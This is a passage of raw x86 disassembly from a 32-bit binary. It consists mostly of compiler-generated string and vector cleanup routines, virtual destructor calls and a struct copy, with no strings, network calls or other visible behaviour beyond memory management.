mov ecx, dword [ebp - 0x1f4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10093f9d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1009442e
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x180]
mov dword [ebp - 0x1e4], 0
mov dword [ebp - 0x1e0], 0xf
mov byte [ebp - 0x1f4], 0
cmp edx, 0x10
jb 0x10093ffc
mov ecx, dword [ebp - 0x194]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10093ff2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1009442e
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x198]
mov dword [ebp - 0x184], 0
mov dword [ebp - 0x180], 0xf
mov byte [ebp - 0x194], 0
cmp edx, 0x10
jb 0x10094051
mov ecx, dword [ebp - 0x1ac]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10094047
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1009442e
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x11c]
mov dword [ebp - 0x19c], 0
mov dword [ebp - 0x198], 0xf
mov byte [ebp - 0x1ac], 0
cmp edx, 0x10
jb 0x100940a6
mov ecx, dword [ebp - 0x130]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1009409c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1009442e
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x100]
mov dword [ebp - 0x120], 0
mov dword [ebp - 0x11c], 0xf
mov byte [ebp - 0x130], 0
cmp edx, 0x10
jb 0x100940fb
mov ecx, dword [ebp - 0x114]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100940f1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1009442e
push edx
push ecx
call fcn.100baf94
add esp, 8
push 0
push 0x100ede68
lea ecx, [ebp - 0x80]
call fcn.100af160
push 0
push 0x100ede68
lea ecx, [ebp - 0x68]
call fcn.100af160
push 0
push 0x100ede68
lea ecx, [ebp - 0x98]
call fcn.100af160
inc dword [0x100ff94c]
mov ebx, dword [ebp - 0xc]
mov edi, dword [ebp - 0xc8]
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0xc4]
sub ecx, edi
imul ecx
lea eax, [ebp - 0xa4]
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
lea edx, [ebp - 0xa4]
cmovne eax, edi
mov eax, dword [eax]
sub eax, dword [ebp - 0xd0]
test ecx, ecx
cmovne edx, edi
cmp byte [edx + 8], 0
je 0x1009418d
mov edi, dword [edx]
sub eax, edi
mov ecx, dword [edx + 4]
add eax, ecx
mov edx, dword [ebp - 0x4c]
add esi, eax
mov eax, dword [ebp - 0x38]
mov edi, dword [ebp - 0x6c]
jmp 0x10093183
mov edx, dword [ebp - 0x4c]
xor edi, edi
sub eax, edi
xor ecx, ecx
mov edi, dword [ebp - 0x6c]
add eax, ecx
add esi, eax
mov eax, dword [ebp - 0x38]
jmp 0x10093183
call dword [0x100ff8fc]
mov edx, dword [ebp - 0x84]
cmp edx, 0x10
jb 0x100941e5
mov ecx, dword [ebp - 0x98]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100941db
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10094438
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x54]
cmp edx, 0x10
jb 0x10094219
mov ecx, dword [ebp - 0x68]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1009420f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10094438
push edx
push ecx
call fcn.100baf94
add esp, 8
cmp edi, 0x10
jb 0x1009424a
mov ecx, dword [ebp - 0x80]
inc edi
mov eax, ecx
cmp edi, 0x1000
jb 0x10094240
mov ecx, dword [ecx - 4]
add edi, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10094438
push edi
push ecx
call fcn.100baf94
add esp, 8
mov esi, dword [ebp - 0xc8]
test esi, esi
je 0x100942b8
mov ecx, dword [ebp - 0xc0]
mov eax, 0x2aaaaaab
sub ecx, esi
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [eax + eax*2]
mov eax, esi
shl ecx, 2
cmp ecx, 0x1000
jb 0x10094290
mov esi, dword [esi - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10094438
push ecx
push esi
call fcn.100baf94
add esp, 8
mov dword [ebp - 0xc8], 0
mov dword [ebp - 0xc4], 0
mov dword [ebp - 0xc0], 0
lea ecx, [ebp - 0xe4]
call fcn.100aecb0
mov ecx, dword [ebp - 0xd4]
test ecx, ecx
je 0x100942de
mov eax, dword [ecx]
call dword [eax + 8]
mov ecx, eax
test ecx, ecx
je 0x100942de
mov eax, dword [ecx]
push 1
call dword [eax]
lea ecx, [ebp - 0xf8]
call fcn.100aecb0
mov ecx, dword [ebp - 0xe8]
test ecx, ecx
je 0x10094304
mov eax, dword [ecx]
call dword [eax + 8]
mov ecx, eax
test ecx, ecx
je 0x10094304
mov eax, dword [ecx]
push 1
call dword [eax]
lea ecx, [ebp - 0x30]
call fcn.100aecb0
mov ecx, dword [ebp - 0x20]
test ecx, ecx
je 0x10094324
mov eax, dword [ecx]
call dword [eax + 8]
mov ecx, eax
test ecx, ecx
je 0x10094324
mov eax, dword [ecx]
push 1
call dword [eax]
mov edx, dword [ebp - 0x38]
cmp edx, 0x10
jb 0x10094358
mov ecx, dword [ebp - 0x4c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1009434e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1009443d
push edx
push ecx
call fcn.100baf94
add esp, 8
mov esi, dword [ebp - 0x144]
movups xmm0, xmmword [ebp - 0x1c]
mov edx, dword [ebp + 0x1c]
movups xmmword [esi], xmm0
movq xmm0, qword [ebp - 0xc]
movq qword [esi + 0x10], xmm0
cmp edx, 0x10
jb 0x100943a3
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10094399
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10094429
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x100943e5
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100943db
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10094429
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp + 0x4c]
mov dword [ebp + 0x30], 0
mov dword [ebp + 0x34], 0xf
mov byte [ebp + 0x20], 0
cmp edx, 0x10
jb 0x10092eda
mov ecx, dword [ebp + 0x38]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10092ed0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10092ed0
call fcn.100c79a0
call fcn.100c79a0
call fcn.100c79a0
call fcn.100c79a0
call fcn.100c79a0
int3